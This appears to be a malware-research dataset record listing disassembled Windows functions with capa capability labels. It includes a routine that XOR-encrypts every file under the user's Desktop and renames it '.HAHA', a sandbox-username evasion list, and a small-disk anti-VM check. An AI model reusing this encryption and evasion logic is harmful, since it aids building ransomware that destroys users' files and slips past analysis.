joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001450
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov edx, 0x2e
mov rcx, rax
call sym.strrchr
mov qword [rbp - 0x18], rax
mov eax, dword [section..data]
cmp eax, 0xffffffff
jne 0x14000149a
mov rax, qword [rbp - 0x18]
lea rdx, str..HAHA
mov rcx, rax
call sym.strcmp
and eax, 1
mov dword [section..data], eax
jmp 0x1400014c0
mov rax, qword [rbp - 0x18]
lea rdx, str..HAHA
mov rcx, rax
call sym.strcmp
and eax, 1
mov edx, eax
mov eax, dword [section..data]
cmp edx, eax
jne 0x14000168c
mov rax, qword [rbp + 0x10]
lea rdx, [0x14000a006]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x1400015e1
mov rax, qword [rbp - 0x20]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0x24]
add eax, 1
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
je 0x1400015d5
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x30]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x1400015c9
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.rewind
mov rax, qword [rbp - 0x30]
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
jmp 0x1400015a0
mov rax, qword [rbp - 8]
movzx eax, byte [rax]
xor eax, 0x15
mov edx, eax
mov rax, qword [rbp - 8]
mov byte [rax], dl
add qword [rbp - 8], 1
add dword [rbp - 0xc], 1
mov eax, dword [rbp - 0xc]
cmp eax, dword [rbp - 0x24]
jl 0x140001585
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x30]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fclose
mov eax, dword [section..data]
test eax, eax
je 0x140001657
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strlen
add rax, 6
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x40]
add rax, rdx
mov dword [rax], 0x4841482e
mov word [rax + 4], 0x41
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.rename
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.free
jmp 0x14000168d
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strdup
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x18]
mov byte [rax], 0
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.rename
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.free
jmp 0x14000168d
nop
add rsp, 0x60
pop rbp
ret
Function at 0x140001693
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x380
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x310], rcx
mov rdx, qword [rbp + 0x310]
lea rax, [rbp + 0x1f0]
mov r8, rdx
lea rdx, str._s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
je 0x1400017e2
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x14000a00f]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400017a5
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x14000a011]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400017a5
lea rax, [rbp + 0xb0]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x310]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x14000178a
mov eax, dword [rbp + 0xb0]
and eax, 0x44
test eax, eax
jne 0x14000178a
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.files_tree_char_const_
mov eax, dword [rbp + 0xb0]
and eax, 0x20
test eax, eax
je 0x1400017a6
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.xor_encryption_char_
jmp 0x1400017a6
nop
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
jne 0x1400016f9
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x1400017e3
nop
add rsp, 0x380
pop rbp
ret

Function at 0x1400017ec
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
add rax, 9
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
movabs rdx, 0x706f746b7365445c
mov qword [rax], rdx
mov byte [rax + 8], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.files_tree_char_const_
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001881
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push rbp
mov eax, 0x8130
call fcn.140002ca0
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, str.CurrentUser
mov qword [rbp + 0x7fb0], rax
lea rax, str.Sandbox
mov qword [rbp + 0x7fb8], rax
lea rax, str.admin
mov qword [rbp + 0x7fc0], rax
lea rax, str.andy
mov qword [rbp + 0x7fc8], rax
lea rax, str.honey
mov qword [rbp + 0x7fd0], rax
lea rax, str.john
mov qword [rbp + 0x7fd8], rax
lea rax, str.malnetvm
mov qword [rbp + 0x7fe0], rax
lea rax, str.maltest
mov qword [rbp + 0x7fe8], rax
lea rax, [0x14000a061]
mov qword [rbp + 0x7ff0], rax
lea rax, str.snort
mov qword [rbp + 0x7ff8], rax
lea rax, str.tequilaboomboom
mov qword [rbp + 0x8000], rax
lea rax, str.test
mov qword [rbp + 0x8008], rax
lea rax, str.virusclone
mov qword [rbp + 0x8010], rax
lea rax, str.wilbert
mov qword [rbp + 0x8018], rax
lea rax, str.vmware
mov qword [rbp + 0x8020], rax
lea rax, str.cuckoo
mov qword [rbp + 0x8028], rax
lea rax, str.Emily
mov qword [rbp + 0x8030], rax
lea rax, str.HAPUBWS
mov qword [rbp + 0x8038], rax
lea rax, str.Hong_Lee
mov qword [rbp + 0x8040], rax
lea rax, str.IT_ADMIN
mov qword [rbp + 0x8048], rax
lea rax, str.Johnson
mov qword [rbp + 0x8050], rax
lea rax, str.Miller
mov qword [rbp + 0x8058], rax
lea rax, str.milozs
mov qword [rbp + 0x8060], rax
lea rax, str.Peter_Wilson
mov qword [rbp + 0x8068], rax
lea rax, str.timmy
mov qword [rbp + 0x8070], rax
lea rax, str.user
mov qword [rbp + 0x8078], rax
lea rax, str.sand_box
mov qword [rbp + 0x8080], rax
lea rax, str.malware
mov qword [rbp + 0x8088], rax
lea rax, str.maltest
mov qword [rbp + 0x8090], rax
lea rax, str.virus
mov qword [rbp + 0x8098], rax
lea rax, str.John_Doe
mov qword [rbp + 0x80a0], rax
mov dword [rbp - 0x54], 0x7fff
mov dword [rbp - 0x54], 0x7fff
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
test eax, eax
sete al
test al, al
je 0x140001a83
lea rax, str.Error:_can_not_find_username
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0x80ac], 0
jmp 0x140001ac7
mov eax, dword [rbp + 0x80ac]
cdqe
mov rdx, qword [rbp + rax*8 + 0x7fb0]
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIA]
call rax
test rax, rax
setne al
test al, al
je 0x140001ac0
mov eax, 1
jmp 0x140001ad5
add dword [rbp + 0x80ac], 1
cmp dword [rbp + 0x80ac], 0x1e
jle 0x140001a8f
mov eax, 0
add rsp, 0x8130
pop rbp
ret
Function at 0x140001ade
Capabilities:
Get disk size

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x80000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x140001b54
lea rax, str.ERROR:_Someone_is_playing_tricks._Or_not_enough_privileges._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140001bd0
mov rax, qword [rbp - 8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 8
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x7405c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp - 0xc], 0
je 0x140001bcb
mov rdx, qword [rbp - 0x18]
movabs rax, 0xf3fffffff
cmp rdx, rax
jg 0x140001bcb
mov eax, 1
jmp 0x140001bd0
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x140001ee0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001f50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e094]
mov rbx, rcx
test esi, esi
jle 0x140002080
mov rax, qword [0x14000e098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001f9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002025
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001f80
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400020a2
mov rax, qword [0x14000e098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002087
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000201e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002030
add dword [0x14000e094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000201e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001fa8
mov rax, qword [0x14000e098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002630
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x14000268c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002683
test eax, eax
jne 0x140002683
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002668
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400028b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400028c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400028d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000291d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002914
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000291f
add rax, 0x28
cmp rax, r9
jne 0x140002900
xor eax, eax
ret

Function at 0x140002920
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400029b0
mov rdx, qword [0x14000a890]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000299e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000299e
cmp word [rax + 0x18], 0x20b
jne 0x14000299e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400029b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002989
add rbx, 0x28
cmp rbx, rdi
je 0x1400029b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002980
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400029c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a890]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a3d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400029e0
add rax, 0x28
cmp rax, r9
jne 0x140002a20
xor eax, eax
ret

Function at 0x140002a40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a890]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002a5f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002a68
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002a5f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002a80
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a890]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002aa0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002aa8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002aa0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002af0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002ae7
test rcx, rcx
je 0x140002aa0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002ad8
xor eax, eax
ret
Function at 0x140002b00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a890]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002b40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a890]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002b60
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002b68
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002b60
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002b60
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002bb4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002bc0
add rdx, 0x28
cmp rdx, r9
jne 0x140002ba0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002bd0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a890]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002bf2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002c00
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002bf2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002bf2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002bf2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002c55
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002c68
add rdx, 0x28
cmp r10, rdx
jne 0x140002c40
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002c77
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002c87
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002c5e
test ecx, ecx
jg 0x140002c70
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1800011d0
Capabilities:
Create thread
Set console window title

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, rcx
test rcx, rcx
je 0x180001333
cmp rdx, 1
jne 0x18000130d
mov qword [rsp + 0x40], rbx
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x180003360]
lea rcx, [0x180003364]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
lea rcx, [0x180003368]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x180001277
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rbx, rax
test rax, rax
je 0x180001277
xor r8d, r8d
mov edx, 0xf060
mov rcx, rax
call qword [sym.imp.USER32.dll_DeleteMenu]
xor r8d, r8d
mov edx, 0xf020
mov rcx, rbx
call qword [sym.imp.USER32.dll_DeleteMenu]
xor r8d, r8d
mov edx, 0xf030
mov rcx, rbx
call qword [sym.imp.USER32.dll_DeleteMenu]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, eax
mov edx, 0x4000
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__open_osfhandle]
mov ecx, eax
lea rdx, [0x180003360]
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll__fdopen]
mov ecx, 1
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov rax, qword [rbx]
mov qword [rcx], rax
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
xor r9d, r9d
xor edx, edx
mov rcx, rax
lea r8d, [r9 + 4]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_setvbuf]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180001340
xor eax, eax
lea r8, [0x1800010d0]
mov qword [rsp + 0x28], rax
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret
test rdx, rdx
jne 0x180001328
mov rcx, qword [0x1800099f8]
mov rdx, qword [rcx]
test rdx, rdx
je 0x180001328
mov rcx, qword [rcx + 0x10]
mov qword [rdx], rcx
mov eax, 1
add rsp, 0x30
pop rdi
ret
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x140003c80
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rdx
mov rdx, rcx
mov rcx, rax
jmp 0x14000e2c0
mov rax, qword gs:[0x30]
mov r10, rcx
mov r8, qword [rax + 0x60]
mov r9, qword [r8 + 0x18]
add r9, 0x20
mov rax, qword [r9]
nop dword [rax + rax]
cmp qword [rax + 0x20], rdx
je 0x14000e2fd
test rdx, rdx
je 0x14000e2fd
mov rax, qword [rax]
cmp rax, r9
jne 0x14000e2e0
mov qword [rcx], 0
xor eax, eax
ret
mov rcx, qword [rax + 0x40]
mov qword [r10], rcx
movzx eax, word [rax + 0x38]
shr eax, 1
ret
Function at 0x1400049f0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x280
movdqa xmmword [rsp + 0x2e0], xmm6
movdqa xmmword [rsp + 0x2f0], xmm7
movdqa xmmword [rsp + 0x300], xmm8
movdqa xmmword [rsp + 0x310], xmm9
movdqa xmmword [rsp + 0x320], xmm10
movdqa xmmword [rsp + 0x330], xmm11
movdqa xmmword [rsp + 0x340], xmm12
movdqa xmmword [rsp + 0x350], xmm13
movdqa xmmword [rsp + 0x360], xmm14
movdqa xmmword [rsp + 0x370], xmm15
mov eax, dword [0x1401d5cdc]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x280]
mov qword [rdx + 8], r8
call fcn.1400a58e0
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x1401d5cdc]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x140004b80
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x140004b9c
cmp rcx, r8
jl 0x140004b8f
mov qword [rdx + 0x80], rcx
test dword [0x1401cf9a8], 1
je 0x140004bcb
cmp byte [rsp + 0xd0], 0
je 0x140004bcb
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x1400046f0
mov rsp, r8
jmp rax